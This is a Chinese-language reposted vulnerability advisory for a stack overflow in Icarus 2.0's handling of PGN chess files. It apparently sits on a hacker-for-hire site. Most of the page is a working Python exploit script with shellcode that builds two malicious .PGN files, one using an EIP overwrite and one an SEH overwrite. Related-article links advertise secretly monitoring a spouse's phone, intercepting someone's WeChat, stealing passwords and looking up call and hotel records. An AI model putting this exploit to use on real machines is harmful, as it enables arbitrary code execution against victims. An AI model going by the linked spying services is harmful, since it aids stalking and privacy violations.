Icarus PGN文件处理栈溢出漏洞

访客3年前关于黑客接单526

影响版本:
Random Software Icarus 2.0
漏洞描述:
BUGTRAQ  ID: 34167

Icarus是在线国际象棋游戏Internet Chess Club所使用的界面。

如果用户使用Icarus打开了特制的Portable Game Notation(*.pgn)文件的话,就可能触发栈溢出,导致执行任意代码。<*参考
http://secuni *** /advisories/34368/
*>
SEBUG安全建议:
厂商补丁:

Random Software
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.randomly.com/apps/icarus/index-en.html
测试 *** :
[www.sebug.net]
本站提供程序( *** )可能带有攻击性,仅供安全研究与教学之用,风险自负!
#usage: exploit.py
print \"********************************************************************\"
print \" Icarus 2.0 Local Stack Overflow Exploit\\n\"
print \" Download: http://www.randomsoftware.com/pub/icarus.exe\"
print \" Author : His0k4\"
print \" Tested on: Windows XP Pro SP2 Fr\\n\"
print \" Greetings to:\"
print \" All friends & muslims HaCkers(dz)\\n\"
print \" Tip of the day: Klimontayne fe romayne :D\"
print \"********************************************************************\\n\\n\"

    
payload1 =   \"\\x41\" * 336
payload1 +=  \"\\x5D\\x38\\x82\\x7C\" # call esp kernel32.dll (sp2)
payload1 +=  \"\\x90\" * 19 #some nops
payload1 +=  \"\\x29\\xc9\\x83\\xe9\\xde\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x38\"
payload1 +=  \"\\x4e\\xf9\\x9f\\x83\\xeb\\xfc\\xe2\\xf4\\xc4\\xa6\\xbd\\x9f\\x38\\x4e\\x72\\xda\"
payload1 +=  \"\\x04\\xc5\\x85\\x9a\\x40\\x4f\\x16\\x14\\x77\\x56\\x72\\xc0\\x18\\x4f\\x12\\xd6\"
payload1 +=  \"\\xb3\\x7a\\x72\\x9e\\xd6\\x7f\\x39\\x06\\x94\\xca\\x39\\xeb\\x3f\\x8f\\x33\\x92\"
payload1 +=  \"\\x39\\x8c\\x12\\x6b\\x03\\x1a\\xdd\\x9b\\x4d\\xab\\x72\\xc0\\x1c\\x4f\\x12\\xf9\"
payload1 +=  \"\\xb3\\x42\\xb2\\x14\\x67\\x52\\xf8\\x74\\xb3\\x52\\x72\\x9e\\xd3\\xc7\\xa5\\xbb\"
payload1 +=  \"\\x3c\\x8d\\xc8\\x5f\\x5c\\xc5\\xb9\\xaf\\xbd\\x8e\\x81\\x93\\xb3\\x0e\\xf5\\x14\"
payload1 +=  \"\\x48\\x52\\x54\\x14\\x50\\x46\\x12\\x96\\xb3\\xce\\x49\\x9f\\x38\\x4e\\x72\\xf7\"
payload1 +=  \"\\x04\\x11\\xc8\\x69\\x58\\x18\\x70\\x67\\xbb\\x8e\\x82\\xcf\\x50\\xbe\\x73\\x9b\"
payload1 +=  \"\\x67\\x26\\x61\\x61\\xb2\\x40\\xae\\x60\\xdf\\x2d\\x98\\xf3\\x5b\\x4e\\xf9\\x9f\"
junk     =   \"\\xCC\"*7000


payload2 =  \"\\x5B\\x46\\x6F\\x72\\x6D\\x61\\x74\\x20\\x22\\x4C\\x65\\x63\\x74\\x75\\x72\\x65\\x22\\x5D\"
payload2 +=  \"\\x0A\\x5B\\x54\\x69\\x74\\x6C\\x65\\x20\\x22\\x65\\x78\\x70\\x6C\\x6F\\x69\\x74\\x22\\x5D\"
payload2 +=  \"\\x0A\\x0A\"
payload2 +=  \"\\x41\"*788
payload2 +=  \"\\xEB\\x06\\x90\\x90\" # jmp +6
payload2 +=  \"\\xE9\\x10\\x37\\x01\" # universal pop pop ret
payload2 +=  \"\\x29\\xc9\\x83\\xe9\\xde\\xd9\\xee\\xd9\\x74\\x24\\xf4\\x5b\\x81\\x73\\x13\\x38\"
payload2 +=  \"\\x4e\\xf9\\x9f\\x83\\xeb\\xfc\\xe2\\xf4\\xc4\\xa6\\xbd\\x9f\\x38\\x4e\\x72\\xda\"
payload2 +=  \"\\x04\\xc5\\x85\\x9a\\x40\\x4f\\x16\\x14\\x77\\x56\\x72\\xc0\\x18\\x4f\\x12\\xd6\"
payload2 +=  \"\\xb3\\x7a\\x72\\x9e\\xd6\\x7f\\x39\\x06\\x94\\xca\\x39\\xeb\\x3f\\x8f\\x33\\x92\"
payload2 +=  \"\\x39\\x8c\\x12\\x6b\\x03\\x1a\\xdd\\x9b\\x4d\\xab\\x72\\xc0\\x1c\\x4f\\x12\\xf9\"
payload2 +=  \"\\xb3\\x42\\xb2\\x14\\x67\\x52\\xf8\\x74\\xb3\\x52\\x72\\x9e\\xd3\\xc7\\xa5\\xbb\"
payload2 +=  \"\\x3c\\x8d\\xc8\\x5f\\x5c\\xc5\\xb9\\xaf\\xbd\\x8e\\x81\\x93\\xb3\\x0e\\xf5\\x14\"
payload2 +=  \"\\x48\\x52\\x54\\x14\\x50\\x46\\x12\\x96\\xb3\\xce\\x49\\x9f\\x38\\x4e\\x72\\xf7\"
payload2 +=  \"\\x04\\x11\\xc8\\x69\\x58\\x18\\x70\\x67\\xbb\\x8e\\x82\\xcf\\x50\\xbe\\x73\\x9b\"
payload2 +=  \"\\x67\\x26\\x61\\x61\\xb2\\x40\\xae\\x60\\xdf\\x2d\\x98\\xf3\\x5b\\x4e\\xf9\\x9f\"
payload2 +=  \"\\xCC\"*7000

try:
    out_file = open(\"exploit_eip.PGN\",\'w\')
    out_file.write(payload1+junk)
    out_file.close()
    print \"Eip exploit File Created!\\nNow you can run this file directly\\n\"
except:
    print \"Error\"
try:
    out_file = open(\"exploit_seh.PGN\",\'w\')
    out_file.write(payload2)
    out_file.close()
    print \"Seh exploit File Created!\\nOpen Icarus then game>load and chose exploit_seh.PGN\\n\"
except:
    print \"Error\"


标签: 好话题

相关文章

怎么偷偷监控老婆手机不被发现?

黑客监视别人的手机,真的好吗?虽然这在现实中是可能的,但我们也不必害怕。并不是所有的黑客都有这种能力,一般来说,不是黑客想监视谁,而是他必须满足一定的条件。其次,从三个方面回答黑客监视手机的途径和方法...

「同步偷偷接收别人微信」什么软件可以同步对方的微

「同步偷偷接收别人微信」什么软件可以同步对方的微专业盗取微信密码,开房查询,通话记录查询,查询微信聊天记录,非常靠谱!爱是无法被隐藏起来的,喜欢上一个人之后会不由自主地想要靠近,可有些人并不擅长追求爱...

微信隐藏聊天记录|恢复教程|微信聊天记录怎么恢复-免费接单黑客QQ

微信隐藏聊天记录|恢复教程|微信聊天记录怎么恢复-免费接单黑客QQ but for motors,there are also many services,such as checking viol...

黑客教你查询某人信息(黑客查信息一般要多少钱)_黑客教你查询某人信息

这三个标志出现在手机上。黑客可能会追捕你。网友:我们该怎么办?众所周知,在互联网时代,人们确实需要更加重视网络安全。如果个人信息和隐私泄露会导致财产安全问题,那么后果不堪设想。黑客教你查询某人的信息(...

北京警方破获首例黑产案件 新增帮助信息网络犯罪刑法_隧道

在公安部“净网2018”专项行动统一部署下,北京市公安局海淀分局近日侦破一起帮助信息网络犯罪活动罪的黑产案件,打掉一个黑产团伙,斩断提供技术支持、支付结算、广告推广等帮助行为的3个黑产链条,刑事拘留6...

沸沸扬扬的 微信支付勒索病毒,始作俑者竟然是个95后!_微信

  隔壁的病毒木马都削尖了脑袋往虚拟货币世界里钻,一款新的勒索病毒却逆流而行,转而走“人性化定制”挣钱路线,闪转腾挪最终聚焦在了“微信支付”上,从事的依旧是加密文件、勒索赎金的反社会活动,受感染用户需...